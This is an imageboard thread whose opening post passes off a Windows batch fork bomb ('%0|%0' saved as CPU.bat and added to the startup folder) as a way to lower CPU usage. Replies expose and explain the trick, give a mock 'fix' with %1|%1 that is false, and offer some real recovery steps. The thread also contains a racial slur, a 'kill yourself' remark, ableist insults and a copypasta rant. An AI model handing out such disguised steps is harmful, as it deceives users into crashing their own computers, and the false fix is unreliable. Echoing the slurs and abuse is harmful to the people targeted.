>IF YOUR CPU USAGE IS HIGH (or if you just want it to run more efficiently), TRY THIS
1. Open Notepad
2. Type %0|%0
3. Save as CPU.bat (make sure to select all files)
>DO NOT RUN THE FILE YET, OR YOU WILL HAVE TO RESTART THE PROCESS
4. Create a shortcut of CPU.bat onto your desktop
5. Right click on the shortcut, click cut
6. Open run.exe (Win+R)
7. Type "shell:startup", press enter
8. Paste the shortcut into the opened folder
>NOW RUN THE FILE, OR RESTART YOUR PC
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and, after doing all that, nothing happened.
You didn't do it right
what makes me trust this
a 10 year old dumbfuck knows this cpu fuck up trick
Is this supposed to be some kind of fork bomb?
It is definitely a forkbomb. I used this on school computers years ago. OP is an idiot if he thinks anyone on Sup Forums is retarded enough to do this.
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Ok I do it now what has happen next?
what happened to that poor fork? did OP shove it up his ass?
guess so xd
I think I did it wrong. My PC crashed do you have a solution?
you're a fucking idiot if you actually did that without reading the rest of everything in here. That's the solution.
Very funny. Now how do I fix it?
>you don't
you don't. That was a fork bomb. jesus christ why do you trust Sup Forums Sup Forums of all places... to give computer advice. remember that we tricked Iphone users that their phones charged in the microwave...
This is the Windows version of a fork bomb.
%0 is the name of the currently executing batch file. A batch file that contains just this line:
%0|%0
Is going to recursively execute itself forever, quickly creating many processes and slowing the system down.
This is not a bug in windows, it is just a very stupid thing to do in a batch file.
Gonna have to boot up from a Windows USB or DVD and manually delete the .bat file you stupidly created.
ITT: trolls trolling trolls
Fuck off m8 I was trying to get better fps in assassin's Creed origins.
Now how do I fix this?
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wtf it just deleted my system32 folder where I stored all porn pics
>live boot another OS from USB
>Navigate to storage location
>Delete the .bat file
Done.
Being this gullible.
Yeah, ok.
This will create mustard gas
Do not do it!
We Xd
This sounds like it would wipe all processes out of your CPU and thus crash your computer.
Am I correct?
Medium-level IT-fag here
Self-checking my dubs.
I correct:
It calls the .bat itself over and over and over until there's nothing but the process of the .bat on your computer.
So THAT is a fork bomb. Interesting.
literally just said, you don't.
kill yourself you pseudointellectual autistic piece of human trash
I didn't give you permission to reply to me. Listen, it was entertaining at first. Hell, it was actually funny. But now I'm getting the feeling that you actually think that you're on my level. From the day was born, I was destined for success. I was brought into this world by a software engineer and and a prominent actuary, both of Norwegian descent. From the moment that the fucking curtains were raised, l was set to dominate the STEM fields. And because had guardians that actually cared about me, I flourished. Pretty soon, I was placed into a special school of correspondence, specifically I.M Gelfand's school for gifted children in New England. I not only reached my parents' expectations, but I passed them with flying colors. I had raw talent. was fucking better. I was surrounded by 6th graders, many from Hong Kong, whom were smarter than half the posters in this thread. And now, where am l? In MIT, getting my double BS in Electrical Engineering and Physics, with a Stanford-Binet tested IQ of 147 at age 17. Get this through your head: I am worth more than your entire goddamn family. I'm smarter than you, better looking than you, taller than you, wealthier than you, and more employable than you. While you type out another comment, I'll be simultaneously working with the brightest minds in the warld and fornicating with my beautiful girlfriend. It gets on my nerves when people pretend to be better than me. Know your place. Never, ever reply to my posts, again.
and now where are you? Sup Forums ya bitch. everyone here is on an equal level. don't act like a self entitled little cunt. and guess what? I'm not even that guy and I still replied
Nigger
>I'm not even that guy and I still replied
Yeah...to pasta.
>I was placed in a special school
there wasn't any doubt of that, op. figured you were retarded
I tried this and pic related happened to my computer, did I just hail Satan?
What the fuck?! This isn't even my computer!
what were you doing messing with someone else's computer then? B8, that's what.
Trolled fucking HARDSTYLE
>Late 2017
>Being this triggered
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I was on my girlfriend's laptop. I'm on my phone now, and I can't get her computer to do anything. Seriously! What the fuck!?
here's what you do. you go down to the local pharmacy. ask for something called viagra. and it'll help you go fuck yourself.
Confirmed to stupid to have a girlfriend.
Turn it off and then start in safe mode. Go to the startup directory and manually remove the file.
Very funny! You actually have to repeat the steps in OP but with %1|%1.
Don't you mean if your CPU usage ISN'T high?
Anyone who randomly executes code from Sup Forums of all places deserves what they get.
kek
>to
xD yes, clearly he is TO stupid.
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